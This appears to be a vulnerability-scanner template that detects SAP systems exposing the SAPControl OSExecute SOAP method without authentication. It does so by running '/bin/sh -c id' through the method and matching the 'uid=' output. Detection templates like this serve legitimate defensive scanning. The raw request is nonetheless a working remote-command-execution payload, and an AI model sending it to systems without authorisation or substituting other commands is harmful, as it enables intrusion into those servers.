sap-osexecute-rce: SAPControl OSExecute - Remote Code Execution (RCE)

id: sap-osexecute-rce

info:
  name: SAPControl OSExecute - Remote Code Execution (RCE)
  author: LRVT,l4rm4nd
  severity: critical
  description: |
    Detected SAP systems where the SAP Start Service (sapstartsrv) SAPControl SOAP interface exposes the OSExecute web method without authentication.
  reference:
    - https://sapdotbasis.wordpress.com/2019/08/08/sapcontrol-command/
    - https://itsiti.com/csmon/
    - https://help.sap.com/docs/SUPPORT_CONTENT/si/3362959700.html
    - https://docs.avantra.com/api/latest/js/sap-control.html
    - https://www.slideshare.net/slideshow/sap-insecurity-scrubbing-sap-clean-with-soap/9951290
  metadata:
    max-request: 1
  tags: misconfig,sap,sapcontrol,soap,rce,osexecute

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        SOAPAction: '""'

        <?xml version="1.0" encoding="utf-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
          <SOAP-ENV:Header>
            <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
              <enableSession>true</enableSession>
            </sapsess:Session>
          </SOAP-ENV:Header>
          <SOAP-ENV:Body>
            <ns1:OSExecute xmlns:ns1="urn:SAPControl">
              <command>/bin/sh -c id</command>
              <async>0</async>
            </ns1:OSExecute>
          </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "OSExecuteResponse"
          - "<output>"
        condition: and

      - type: regex
        part: body
        regex:
          - "uid=[0-9]+\\("

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fdd55365de147610fb1f5bf7533cb30db2503c8249acddd78252a3a408ce8463022100d74d198c04760c503a757f43315763b9dbb01247b35e93f65a429e68194e0ab4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.